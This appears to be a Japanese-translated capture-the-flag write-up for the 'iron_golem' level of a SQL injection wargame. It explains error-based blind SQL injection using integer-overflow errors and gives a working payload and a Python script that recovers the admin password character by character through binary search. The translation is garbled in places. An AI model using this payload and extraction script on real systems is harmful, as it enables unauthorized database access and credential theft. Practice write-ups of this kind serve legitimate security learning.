OS-21号鉄golem


[21] iron_golem


質問する



に答える


solve条件はadminアカウントのpwを理解することです.
preg matchを表示し、sleepとbenchmarkをフィルタしています.
どちらの関数もTimeBased Blind SQLI用の関数です.
.などとともにフィルタリングされるため、再クエリーは使用できません.
Timed Basedでアクセスできないため,これは別の方法で解決された問題であると推定できる.
  • クエリー:information schema.これはcolumnsなど複数のjoinに内部データを大量に読み取らせることで時間を遅らせる方法である.
  • また、以前の問題と同様に、クエリの実行結果は表示されず、エラーが発生したときにエラーメッセージが表示されます.
  • Hello {result[id]} → mysqli_error(db)
  • これらの点から,ErrorBasedを用いてアクセスする必要があるという問題であることが分かる.
    Timed BasedやError Basedをよく勉強したことがないので、結論を出すのに時間がかかります...
    わざとミスを起こす方法はいろいろあります.
  • の場合、発生するエラーはSyntaxエラーではなくRuntimeエラーです.
  • その中で個人的に最も簡単な方法である大数演算によって問題を解決する.
    その名の通り、Integerの範囲を超えた過剰な演算を要求することによってエラーが発生する方法です.
    まず,過大な演算を要求した場合のエラーメッセージの内容を確認する.
    以下、pwのペイロード"or 0 xFFFFFFFFFFF*0 xFFFFFFFFFFFFFFFの場合のエラーメッセージの内容です.

    上記のエラーメッセージの内容の一部をキーワードとして,自動化コードを記述すればよい.
    out rangeを選びました.
  • res.テキストに境界を越えたエラーが含まれていることを判別します.
  • pwの長さが見つかった場合、エラーが発生するペイロードの例は以下の通りです.
    param=f"?pw=' or id='admin' and if(length(pw)={num}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
    その後,完全pwを探す方法も同様の論理を用いる.
    特定のインデックスのアスキーを見つけたら、エラーを起こすことができます.
    また,今回の問題では検索速度を向上させるためにバイナリ検索も適用される.
    Los 21号Python自動化コード.
    import requests
    
    def send(param):
        url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
        cookie = "dfksep8hnmequ6sm0qe1iu65pa"
        head = {"PHPSESSID":f"{cookie}"}
        my_url = url+param
        res = requests.get(my_url, cookies=head)
        return res.text
    
    print("💘 LoS 21을 시작합니다")
    
    for num in range(0,100):
        param=f"?pw=' or id='admin' and if(length(pw)={num}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
        if("out of range" in send(param)):
            print(f"👏 pw의 길이는 {num}입니다!")
            break
    
    ans=""
    
    for len in range(1, num+1):
        start = 32
        end = 127
        while True:
            middle = round((start+end)/2)
            param=f"?pw=' or id=\"admin\" and if(ascii(substr(pw,{len},1))>={middle}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
            if("out of range" in send(param)):
                param=f"?pw=' or id=\"admin\" and if(ascii(substr(pw,{len},1))={middle}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
                if("out of range" in send(param)):
                    print(f"{len}번째 문자 → {chr(middle)}")
                    ans+=chr(middle)
                    break
                else:
                    start = middle
                    continue
            else:
                end = middle
                continue
    
    print(f"👏 pw의 정체는 [{ans}]입니다!")

    Blind攻撃の結果,pwは06b5a6c16e8830475f983cc3a825ee9aであった.

    結果